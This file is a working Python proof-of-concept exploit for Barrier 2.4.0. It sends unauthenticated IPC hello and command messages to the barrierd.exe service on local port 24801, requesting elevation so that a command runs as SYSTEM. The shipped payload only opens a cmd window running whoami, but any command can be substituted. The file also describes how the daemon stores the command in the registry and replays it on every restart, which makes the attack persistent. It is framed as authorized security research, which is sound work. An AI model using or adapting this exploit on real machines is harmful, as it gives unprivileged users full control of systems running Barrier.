r"""
Barrier - Unauthenticated IPC LPE: Visible SYSTEM cmd.exe Popup Proof-of-Concept
==================================================================================

This variant pops a single, maximized cmd.exe window running whoami under NT AUTHORITY\SYSTEM.

Payload: cmd.exe -d x /k "start /max cmd.exe /k whoami"
  - "-d x" is the CWE-476 NULL-deref bypass (see the companion POC's
    docstring / findings.md Finding 2 for the full mechanism).

Cleanup note: Barrier persists the last IPC command to
HKLM\SOFTWARE\Barrier\Command and replays it automatically on every future
service start (DaemonApp.cpp:205-210). After using this POC, send one
empty command (see clear_persisted_command() below) to stop it from
re-popping the window on subsequent restarts.

Affected: Barrier 2.4.0

Usage:
    python Debauchee_Barrier_Privesc.py               # pop a single maximized SYSTEM cmd.exe window
    python Debauchee_Barrier_Privesc.py --clear        # clear the persisted command (stop replay-on-restart)

DISCLAIMER: This POC is for authorized security research only.
"""
import argparse
import socket
import struct
import sys
import time

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
TARGET_PRODUCT = "Barrier"
TARGET_VERSION = "2.4.0"
CWE = "CWE-306"

IPC_HOST = "127.0.0.1"
IPC_PORT = 24801

MSG_HELLO = b"IHEL"
MSG_COMMAND = b"ICMD"
CLIENT_TYPE_GUI = 0x00


def build_hello(client_type=CLIENT_TYPE_GUI):
    return MSG_HELLO + bytes([client_type])


def build_command(cmd, elevate):
    cmd_bytes = cmd.encode("utf-8")
    return MSG_COMMAND + struct.pack(">I", len(cmd_bytes)) + cmd_bytes + bytes([1 if elevate else 0])


def _send(host, port, cmd, elevate, settle=2.0):
    """Connect, send hello + ICMD, and wait `settle` seconds before closing
    so the daemon has time to fully receive and process the message before
    the connection is torn down."""
    sock = socket.create_connection((host, port), timeout=5.0)
    try:
        sock.sendall(build_hello(CLIENT_TYPE_GUI))
        sock.sendall(build_command(cmd, elevate))
        time.sleep(settle)
    finally:
        sock.close()


# ---------------------------------------------------------------------------
# POC Logic
# ---------------------------------------------------------------------------
def run_poc(host=IPC_HOST, port=IPC_PORT, elevate=True):
    """
    Send the "-d x" bypass payload that pops a single, maximized cmd.exe
    window running `whoami` as NT AUTHORITY\\SYSTEM.
    """
    cmd = 'cmd.exe -d x /k "start /max cmd.exe /k whoami"'

    print(f"[*] {TARGET_PRODUCT} {TARGET_VERSION} - Unauthenticated IPC LPE (visible SYSTEM cmd.exe popup)")
    print(f"[*] {CWE}: barrierd.exe (LocalSystem) accepts unauthenticated ICMD messages with elevate=1")
    print()
    print(f"[*] Connecting to {host}:{port} ...")

    try:
        print("[*] Sending IHEL hello (kIpcClientGui) ...")
        print(f"[*] Sending ICMD command (elevate={int(elevate)}): {cmd!r}")
        _send(host, port, cmd, elevate)
    except OSError as exc:
        print(f"[-] Connection failed: {exc}")
        print("[-] Is barrierd.exe (Barrier Windows service) installed and running?")
        return False

    print()
    print("[*] A maximized cmd.exe window running `whoami` should now exist.")
    print("[*] If nothing appears within ~10s: check `sc query Barrier` -- the daemon may")
    print("    be in a post-crash backoff window from a prior attempt; wait and retry.)")
    print()
    print("[*] When done, run with --clear to stop the daemon replaying this command")
    print("    on every future service restart.")
    return True


def clear_persisted_command(host=IPC_HOST, port=IPC_PORT):
    """
    Barrier persists the last IPC command+elevate flag to
    HKLM\\SOFTWARE\\Barrier and replays it unconditionally on every future
    daemon startup (DaemonApp.cpp:205-210). Sending one empty command
    overwrites that persisted value, so subsequent service restarts no
    longer auto-relaunch this (or any prior) payload.
    """
    print(f"[*] Connecting to {host}:{port} to clear the persisted Command/Elevate setting ...")
    try:
        _send(host, port, "", False, settle=3.0)
    except OSError as exc:
        print(f"[-] Connection failed: {exc}")
        return False
    print("[+] Sent empty command -- HKLM\\SOFTWARE\\Barrier\\Command should now be empty.")
    print("    Verify with: (Get-ItemProperty 'HKLM:\\SOFTWARE\\Barrier').Command")
    return True


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="Barrier barrierd.exe unauthenticated IPC LPE -- visible SYSTEM cmd.exe popup PoC"
    )
    parser.add_argument("--host", default=IPC_HOST, help="barrierd IPC host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=IPC_PORT, help="barrierd IPC port (default: 24801)")
    parser.add_argument("--no-elevate", action="store_true",
                         help="Send elevate=0 (no SYSTEM escalation) -- for protocol testing only")
    parser.add_argument("--clear", action="store_true",
                         help="Clear the persisted Command/Elevate setting instead of popping a window")
    args = parser.parse_args()

    if args.clear:
        success = clear_persisted_command(host=args.host, port=args.port)
        sys.exit(0 if success else 1)
    else:
        success = run_poc(host=args.host, port=args.port, elevate=not args.no_elevate)
        sys.exit(0 if success else 1)